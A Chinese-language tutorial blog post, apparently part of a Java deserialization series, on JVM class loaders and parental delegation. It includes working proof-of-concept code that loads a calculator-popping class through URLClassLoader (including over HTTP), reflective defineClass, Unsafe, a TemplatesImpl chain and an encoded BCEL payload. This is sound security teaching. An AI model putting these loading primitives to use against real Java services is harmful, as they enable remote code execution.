java反序列化入门篇-04-类加载机制
前言
本篇介绍的是类加载机制,既然是类加载机制,那我们需要研究的就比较底层了,需要根据源码打断点才能看清整个调用逻辑,单纯的文字知识了解,无法真正看到调用逻辑始终无法真正将这个概念植入心里,所以希望学习这块的师傅们可以自己打断点理解一下,当然我们不是只是简单的过一遍,而是真正理解他到底为什么会进到这一块代码。
类加载器
什么是类加载器
.java文件在编译后会生成.class字节码文件,但JVM无法直接读class文件,此时就需要类加载器出场了。类加载器会找到class字节加载进JVM内存,然后生成Class对象。还记得我们前面讲的类加载过程的五个阶段吗,其中包括加载、验证、准备、解析、初始化,类加载器就是在加载阶段进行工作。
类加载器种类
类加载器分以下几类:
- 启动类加载器(根加载器)
- 拓展类加载器
- 应用程序类加载器
- 自定义类加载器
启动类加载器(BootstrapClassLoader)
BootstrapClassLoader由 C++ 编写、内嵌在 JVM 内核中的类加载器,不属于 Java 体系里ClassLoader的子类,是整个双亲委派链的最顶端。在 Java API 中通常表示为 null,并且没有父加载器。在 JDK 8 HotSpot 中,它主要加载运行时核心类库(如 rt.jar)以及 -Xbootclasspath 指定路径中的类,但-Xbootclasspath这组参数在JDK9模块化后被移除。
扩展类加载器(ExtensionsClassLoader)
由 sun.misc.Launcher$ExtClassLoader 类实现,主要负责加载 %JRE_HOME%/lib/ext 目录下的 jar 包和类以及被 java.ext.dirs 系统变量所指定的路径下的所有类。Java 虚拟机会提供一个扩展库目录,此加载器在目录里面查找并加载 java 类。
应用程序类加载器(AppClassLoader)
JDK8:sun.misc.Launcher$AppClassLoader
JDK9~21:jdk.internal.loader.ClassLoaders$AppClassLoader
一般通过通过( java.class.path 或者 Classpath 环境变量)来加载 Java 类,也就是我们常说的 classpath 路径。通常我们是使用这个加载类来加载 Java 应用类,可以使用 ClassLoader.getSystemClassLoader() 来获取它。
自定义类加载器
除了 BootstrapClassLoader 其他类加载器均由 Java 实现且全部继承自 java.lang.ClassLoader。如果我们要自定义自己的类加载器,很明显需要继承 ClassLoader 抽象类。要实现自定义类加载器还需要重构loadClass和findClass两个重要方法
双亲委派机制
双亲委派机制的设计一开始就是从安全的角度出发的,我们通过代码来理解一下
为什么需要双亲委派
String.java
1 2 3 4 5 6 7 8 9 10 11 12 13
| package java.lang;
public class String {
public String toString(){ return "hello"; }
public static void main(String[] args) { String s = new String(); s.toString(); } }
|
我们自己定义了一个String类,还标注在java.lang包下,甚至定义String这个类的toString方法。那我们原生的String又该怎么办呢,我们这里调用的new String实例化对象又归属于谁呢,我们来看一下代码运行结果。

不出意外地报错了,我们来研究一下报错
1 2 3
| 错误: 在类 java.lang.String 中找不到 main 方法, 请将 main 方法定义为: public static void main(String[] args) 否则 JavaFX 应用程序类必须扩展javafx.application.Application
|
这里说找不到main方法,但我们不是写了吗,奇怪。但这里其实是双亲委派机制在发力(被这种设计思路再一次震撼,膜拜一下),JVM 加载 java.lang.String 的时候,触发双亲委派,交给 Bootstrap 类加载器,直接加载了 JDK 原生自带的 java.lang.String,而不是我们写的那个。JDK 原生的java.lang.String根本没有 main 方法,所以报这个错。

所以其实在类加载器被调用的时候,按照这个顺序去找类BootstrapClassLoader->ExtensionsClassLoader->AppClassLoader,若是父类加载器中找到了这个类则直接使用当前类加载器,反之则会交给下面的子类加载器。
在这里,如果没有双亲委派:攻击者可以自己写一个package java.lang; public class String,植入恶意代码。当程序运行时,会加载攻击者自定义的 String,替换 JDK 原生 String,所有用到 String 的业务代码都会执行恶意逻辑,造成严重安全问题。
正确的双亲委派机制
前文提到我们新建的 java.lang.String 报错了,是因为我们定义的 String 和 BOOT 包下面的 String 冲突了,所以才会报错,我们这里定义一个 BOOT 和 EXC 都没有的对象试一试。
Student.java
1 2 3 4 5 6 7 8 9 10 11 12 13
| public class Student {
public String toString(){ return "yunli"; }
public static void main(String[] args) { Student student = new Student();
System.out.println(student.getClass().getClassLoader()); System.out.println(student.toString()); } }
|

可以看到我们现在用的类加载器是AppClassLoader
动态加载字节码
字节码是什么
Java 源代码(.java)经过编译器javac编译,不会直接翻译成操作系统 CPU 能识别的机器码,而是编译成一种中间的、跨平台的二进制指令,这个东西就是字节码,保存在 .class 文件里。
字节码的本质其实是一套 JVM 虚拟机的指令集,由一个一个 1 字节长度的操作码(opcode) + 可选操作数组成,所以叫字节码。
类加载器过程分析
我们通过调试来看一下类加载器的调用过程
Person.java
1 2 3 4
| public class Person {
}
|
load.java
1 2 3 4 5 6 7
| public class load { public static void main(String[] args) throws ClassNotFoundException { ClassLoader c = ClassLoader.getSystemClassLoader(); c.loadClass("org.example.Person"); System.out.println(c); } }
|
我们在ClassLoader.java中打个断点

至于为什么在这打断点呢,是因为不管是谁的类加载器(AppClassLoader / ExtClassLoader / 自定义 URLClassLoader)调用 loadClass,只要走这个继承来的方法,都会命中这个断点。
我们ctrl+F7跟进一下

可以看到我们现在的类加载器是AppClassLoader,其父类加载器是ExtensionsClassLoader,就会向上委派。

这里 null 是因为最上面的 Bootstrap 类是 native 类,也就是之前说过的 C 写的源码,所以为 null。
继续往下走,因为 APP 和 Ext 的父类是 URLClassLoader,所以这里的 findClass() 是会去找到 URLClassLoader 的。

接着在 URLClassLoader 里面调用了 defineClass 方法,再一步步跟进就是我们的 native 方法了。
总的流程:
ClassLoader —-> URLClassLoader —-> APPClassLoader —-> loadClass() —-> findClass()
在旧版jdk中,我们的URLClassLoader没有自己的defineCLass方法实现,调用的是SecureClassLoader的,所以可以看到有些师傅写的流程是
ClassLoader —-> SecureClassLoader —> URLClassLoader —-> APPClassLoader —-> loadClass() —-> findClass()
下面我们介绍多种能够用于反序列化攻击的,加载字节码的类加载器。
利用 URLClassLoader 加载远程 class 文件
在 JDK8 中,AppClassLoader继承自 URLClassLoader。因此,AppClassLoader 查找 class 文件的底层逻辑直接复用了 URLClassLoader 的实现,理解 URLClassLoader 的工作原理,就能理解 JDK8 默认应用类加载器是如何在类路径下搜索类的。
URLClassLoader 会读取java.class.path,把里面所有路径统一封装成java.net.URL对象。URLClassLoader 内部依靠URLClassPath,针对每一个 URL 自动选择对应的内部 Loader 去定位.class资源,判断规则如下:
- 如果 URL 结尾不带斜杠
/:视为 Jar 文件,使用JarLoader,在这个 Jar 包内部检索 class;
- 如果 URL 结尾带有斜杠
/,并且协议是file:代表本地文件目录,使用FileLoader,在本地磁盘目录查找 class;
- 如果 URL 结尾带有斜杠
/,并且协议不是file(如 http):使用通用基础 Loader,支持从远程网络位置读取 class 字节。
file协议
Calc.java
1 2 3 4 5 6 7 8 9 10 11 12 13
| import java.io.IOException;
public class Calc { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e){ e.printStackTrace(); } } }
|
我们先创建一个Calc.java文件,然后通过maven deploy编译一下,拿到Calc,class文件
FileRce.java
1 2 3 4 5 6 7 8 9 10 11 12
| import java.net.URL; import java.net.URLClassLoader;
public class FileRce { public static void main(String[] args) throws Exception { URLClassLoader urlClassLoader = new URLClassLoader (new URL[]{new URL("file:///E:\\java\\loader\\loader2\\target\\classes\\org\\example")}); Class calc = urlClassLoader.loadClass("org.example.Calc"); calc.newInstance(); } }
|
这里注意一下,只要我们在代码中写了包名,在loadClass的时候也需要写全包名,不然无法找到指定的文件。成功弹出计算器

HTTP协议
在 Calc.class 文件目录下执行 python3 -m http.server 9999,起一个 http 服务。
HTTPRce.java
1 2 3 4 5 6 7 8 9 10
| import java.net.URL; import java.net.URLClassLoader;
public class HTTPRce { public static void main(String[] args) throws Exception{ URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:9999")}); Class calc = urlClassLoader.loadClass("org.example.Calc"); calc.newInstance(); } }
|


file+jar协议
要使用jar协议,对象当然需要是jar包,所以我们先去把class文件打包为jar文件。去到class文件的目录下执行命令:
1
| jar -cvf Calc.jar Clac.class
|
FileJarRce.java
1 2 3 4 5 6 7 8 9 10 11
| import java.net.URL; import java.net.URLClassLoader;
public class FileJarRce { public static void main(String[] args) throws Exception{ URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:file:///E:\\java\\loader\\loader2\\target\\classes\\org\\example\\Calc.jar!/")}); Class calc = urlClassLoader.loadClass("org.example.Calc"); calc.newInstance();
} }
|

HTTP+jar协议
1 2 3 4 5 6 7 8 9 10 11
| import java.net.URL; import java.net.URLClassLoader;
public class HTTPJarRce { public static void main(String[] args) throws Exception { URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:file:///E:\\Calc.jar!/")}); Class calc = urlClassLoader.loadClass("org.example.Calc"); calc.newInstance();
} }
|

利用 ClassLoader#defineClass 加载字节码
不管是加载远程 class 文件,还是本地的 class 或 jar 文件,Java 都经历的是下面这三个方法调用。

前面我们的学习中或多或少都有提及上面的方法
loadClass是 ClassLoader 里核心入口方法,双亲委派逻辑写在这个方法里面。如果父加载器全都找不到,则调用findClass(),由当前类加载器自己去找字节码
findClass只负责根据类全限定名,找到.class 字节数组 byte []**,**不负责双亲委派,不负责把字节交给 JVM 生成 Class。 找到字节之后,在 findClass内部调用defineClass。
defineClass负责接收 class 字节数组byte[],校验字节码合法性,把字节码转换成 JVM 里面的 Class 对象。
所以可见,真正的核心是defineClass,因为他的作用是将字节码转变一个Java类。
最终实现转变的ClassLoader#defineClass是native方法,具体实现在JVM由C语言实现,我们在一般反射调用的defineClass方法是下图这个

解释一下 defineClass
name为类名,b为字节码数组,off为偏移量,len为字节码数组的长度。
由于这里是protect,我们无法直接调用。只能通过反射调用进行字节码加载。
DefineClassRce.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import java.lang.reflect.Method; import java.nio.file.Files; import java.nio.file.Paths;
public class DefineClassRce { public static void main(String[] args) throws Exception{ ClassLoader classLoader = ClassLoader.getSystemClassLoader(); Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); method.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("E:\\java\\loader\\loader\\target\\classes\\org\\example\\Calc.class")); Class c = (Class) method.invoke(classLoader, "org.example.Calc", code, 0, code.length); c.newInstance(); } }
|

使用ClassLoader#defineClass直接加载字节码的有点是不需要出网就可以加载字节码,甚至我们可以不用从硬盘中读取class文件,只要有字节码数组即可。但缺点就是我们需要设置m.setAccessible(true)才可以利用,这让我们在简单反射中无法使用,到了JDK9以上更是由于模块化的加入,我们无法再通过设置m.setAccessible(true)去利用Java自带的包中的非public
利用Unsafe 加载字节码
在Unsafe中也存在defineClass方法,这里的还是一个native方法

虽然这里是public方法,但由于Unsafe和Runtime一样都是单例模式,全局只有唯一一个实例对象,所以我们也没法直接调用这个方法,但不用担心,我们还有反射。
UnsafeClassLoaderRce.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| import sun.misc.Unsafe;
import java.lang.reflect.Field; import java.lang.reflect.Method; import java.nio.file.Files; import java.nio.file.Paths; import java.security.ProtectionDomain;
public class UnsafeClassLoaderRce { public static void main(String[] args) throws Exception{ ClassLoader classLoader = ClassLoader.getSystemClassLoader(); Class<Unsafe> unsafeClass = Unsafe.class; Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); unsafeField.setAccessible(true); Unsafe classUnsafe = (Unsafe) unsafeField.get(null); Method defineClassMethod = unsafeClass.getMethod("defineClass", String.class, byte[].class, int.class, int.class, ClassLoader.class, ProtectionDomain.class); byte[] code = Files.readAllBytes(Paths.get("E:\\java\\loader\\loader\\target\\classes\\org\\example\\Calc.class")); Class calc = (Class) defineClassMethod.invoke(classUnsafe, "org.example.Calc", code, 0, code.length, classLoader, null); calc.newInstance(); } }
|

利用TemplatesImpl 加载字节码
在 TemplatesImpl 类中还有一个内部类 TransletClassLoader,这个类是继承 ClassLoader,并且重写了 defineClass 方法。这个方法内部调用了ClassLoader#defineClass

这里TransletClassLoader#defineClass是一个default类型的方法,这样同包的TemplatesImpl就可以利用了
下面是 TransletClassLoader#defineClass() 的调用链,感兴趣的师傅也可以自己尝试寻找一下

追到最前面两个方法 TemplatesImpl#getOutputProperties() 和 TemplatesImpl#newTransformer() ,这两者的作用域是public,可以被外部调用。
我们尝试用 TemplatesImpl#newTransformer() 构造一个简单的 POC
但这里有一点需要注意:我们转为字节码的类必须继承AbstractTranslet,同时还得重写两个方法
Calc.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Calc extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e){ e.printStackTrace(); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
|
在写POC前,我们先去看一下源码


从上面的图片我们也可以看出,我们需要满足以下条件,我们才能正常调用链子
_name不可为空
_bytecodes传入字节码
_factory赋值TransformerFactoryImpl对象
我们根据这个思路去编写
TemplatesRce.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths;
public class TemplatesRce { public static void main(String[] args) throws Exception{ byte[] code = Files.readAllBytes(Paths.get("E:\java\loader\loader\target\classes\org\example\Calc.class")); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "Calc"); setFieldValue(templates, "_bytecodes", new byte[][] {code}); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); templates.newTransformer(); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
|

利用 BCEL ClassLoader 加载字节码
BCEL全称为Byte Code Engineering Library,它是一个pache Commons 字节码工程库,是老牌 Java 字节码处理工具库,用来读取、解析、修改、在内存动态生成 Java .class 字节码
我们可以通过 BCEL 提供的两个类 Repository 和 Utility 来利用: Repository 是BCEL 里用来缓存、查找已经解析好的JavaClass对象; Utility 用于将原生的字节码转换成对象
这里由于原生的JDK包中可能在下载的时候没有将Utility类带入,使用代码的时候会找不到,这边建议引入Apache Commons BCEL 库
pom.xml
1 2 3 4 5
| <dependency> <groupId>org.apache.bcel</groupId> <artifactId>bcel</artifactId> <version>6.10.0</version> </dependency>
|
Calc.java
1 2 3 4 5 6 7 8 9 10 11
| import java.io.IOException; public class Calc { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e){ e.printStackTrace(); } } }
|
BCELRce.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import com.sun.org.apache.bcel.internal.Repository; import com.sun.org.apache.bcel.internal.classfile.Utility; import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import java.nio.file.Files; import java.nio.file.Paths;
public class BCELRce { public static void main(String[] args) throws Exception { Class<?> calc = Class.forName("org.example.Calc"); JavaClass javaClass = Repository.lookupClass(calc); String bcelPayloadStr = Utility.encode(javaClass.getBytes(),true); System.out.println(bcelPayloadStr); } }
|

我们可以看到下面有一长串字符,这一堆看起来像乱码的字符其实是BCEL ClassLoader 正是用于加载这串特殊的“字节码”,并可以执行其中的代码。我们来写个POC尝试执行一下
BCELSuccessRce.java
1 2 3 4 5 6 7 8
| import com.sun.org.apache.bcel.internal.util.ClassLoader;
public class BCELSuccessRce { public static void main(String[] args) throws Exception{ new ClassLoader().loadClass("$$BCEL$$" + "$l$8b$I$A$A$A$A$A$A$AmQMO$db$40$Q$7d$9b8$b1c$9c$86$EB$v$f4$83$b6$b4$N9$e0$L$b7D$5c$QHU$N$a9$9a$88$9e7$cb$w$dd$e0$d8$91$b3$a9$f2$8f8$e7$C$88$D$3f$80$l$85$98$dd$a6$U$b5$b5$e4$f9x3$ef$cd$8c$7dw$7fs$L$60$P$l$7dxx$eec$j$_$3cl$Y$bf$e9$e2$a5$8f$C$5e$b9x$ed$e2$NC$b1$ad$S$a5$f7$Z$f2$8d$9dS$G$e7$m$3d$93$M$95H$r$f2d$3a$ea$cb$ac$c7$fb1$n$b5$u$V$3c$3e$e5$992$f9$Ct$f4$P5$b1$b5l$Q$ca$Z$l$8dc$Z$k$f0X$b4$Y$bc$b6$88$X$d2$8cZ$eb$d1$90$ff$e4$a1J$c3$cf$9d$c3$99$90c$ad$d2$84$da$ca$5d$cd$c5$f91$l$5bI$da$8e$c1$ef$a6$d3L$c8$peF$94$8c$dc$ae$e1$G$u$c1w$b1$V$e0$z$de$d1lZG$Ex$8fm$86$95$ffh$H$f8$A$9fa$f9$ef$d5$I$b2$dd1O$Ga$a7$3f$94B3T$ff$40$df$a6$89V$p$9a$ec$P$a4$7eL$ea$8d$9d$e8$9f$kZ$df$913I$92$9f$gO$aa$5d$9d$a9d$d0zJ$f8$9a$a5BN$sD$a8$8c$a9$a8$ed$d1$bd$8c$LI$c7$b8$f4$93$cc$93$D3$t$92$5d$a2$y$q$cf$c8$X$9aW$60s$5b$O$c8$W$7f$81$u$93$N$W$f13T$c8$7bX$7e$qs$x$G$d4$ae$91$ab$e5$_$e1$7c$bf$80$f7$a5y$89$e2$dc$e2$r$e2$W$90$b7$8ak$U$Zv$89$98$e6$h$97I$a5J$d1$ef$Je8$94$d7$u$5b$a1$d7E$$r$b1$eaP$a1n$97Z$7b$A$9daTTn$C$A$A").newInstance(); } }
|

那么为什么要在前面加上 $$BCEL$$ 呢?这里引用一下p神的解释
BCEL 这个包中有个有趣的类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个 ClassLoader,但是他重写了 Java 内置的ClassLoader#loadClass()方法。
在 ClassLoader#loadClass() 中,其会判断类名是否是 $$BCEL$$ 开头,如果是的话,将会对这个字符串进行 decode